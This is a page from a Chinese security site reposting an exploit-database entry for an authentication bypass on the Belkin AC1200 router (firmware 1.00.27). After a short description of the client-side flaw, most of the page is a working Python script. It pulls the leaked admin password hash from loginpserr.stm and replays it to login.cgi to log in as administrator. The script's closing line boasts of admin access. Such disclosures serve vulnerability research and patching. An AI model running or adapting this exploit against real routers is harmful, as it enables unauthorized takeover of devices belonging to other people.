首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Belkin Router AC1200 Firmware 1.00.27 - Authentication Bypass
来源:gsx0r.sec@gmail.com 作者:Smiley 发布时间:2016-07-12  
'''
# Exploit Title: Belkin Router AC1200, Firmware: 1.00.27 - Authentication Bypass
# Date: 5/11/2016
# Exploit Author: Gregory Smiley
# Contact: gsx0r.sec@gmail.com
# Vendor Homepage: http://www.belkin.com
# Version: Firmware: 1.00.27
# Tested on:F9K1113 v1
 
 
#1. Description:
 
#The Belkin AC1200 is vulnerable to authentication bypass due to it performing client side
#authentication after you attempt to login after already having failed a login. That webpage, loginpserr.stm contains the md5 hash value of the administrators password. This can be
#exploited by extracting that hash value, and passing it in the pws field in a post request to
#login.cgi.
 
#I would like to note that I contacted Belkin on several occasions
#and gave them plenty of time to reply/fix the issue before releasing this entry.
 
 
 
#2. Proof:
 
#Line 55 of loginpserr.stm contains the javascript code:
 
#var password = "md5hashofpassword";
 
 
#3. Exploit:
'''
 
#!/usr/bin/python
 
 
import urllib
 
import urllib2
 
import sys
 
 
router = raw_input('Enter IP address of your AC1200 to test: ')
 
page = urllib2.urlopen('http://'+router+'/loginpserr.stm').read()
 
test_page = page
 
 
vuln_string = 'var password = "'
 
if vuln_string in test_page:
 
    print 'Router is vulnerable.'
    answer = raw_input('Would you like to exploit the target? Y/N : ')
 
 
else:
 
 
    print 'Router is not vulnerable.'
    print 'exiting...'
 
sys.exit()
 
 
if (answer == 'y') or (answer == 'Y'):
 
 
    extract = test_page.split(vuln_string, 1)[1] #These two lines extract the leaked hash value
    _hash = extract.partition('"')[0] #from /loginpserr.stm using quotes as a delimiter
 
 
else:
 
 
    if (answer == 'n') or (answer == 'N'):
        print 'exiting...'
 
sys.exit()
 
 
#Assemble the POST request to /login.cgi
 
 
 
headers = {
 
 
'Host': router,
 
'Connection': 'keep-alive',
 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0',
 
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
 
'Accept-Language' : 'en-US,en;q=0.5',
 
'Accept-Encoding' : 'gzip, deflate',
 
'Referer' : 'http://'+router+'/',
 
'Connection': 'keep-alive',
 
'Content-Type': 'application/x-www-form-urlencoded'
 
}
 
 
data = {
 
 
 
'totalMSec':'0',
 
'pws': _hash,
 
'url':'status.stm',
 
'arc_action':'login',
 
'pws_temp': ''
 
}
 
 
data = urllib.urlencode(data)
 
 
#Sends the POST request with the hash in the pws field
 
 
req = urllib2.Request('http://'+router+'/login.cgi', data, headers)
 
 
response = urllib2.urlopen(req)
 
the_page = response.read()
 
 
print 'Exploit successful.'
 
print 'You are now free to navigate to http://'+router+'/ ...as admin ;)'
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS16-016 mrxdav.sys WebDav Loc
·Tiki Wiki 15.1 - Unauthenticat
·Ruby On Rails ActionPack Inlin
·Core FTP Le 2.2 Buffer Overflo
·CyberPower Systems PowerPanel
·Riverbed SteelCentral NetProfi
·php Real Estate Script 3 - Arb
·MS16-032 Secondary Logon Handl
·Microsoft WinDbg logviewer.exe
·Prestashop vtermslidesshow mod
·Microsoft Process Kill Utility
·WordPress WP-DownloadManager P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved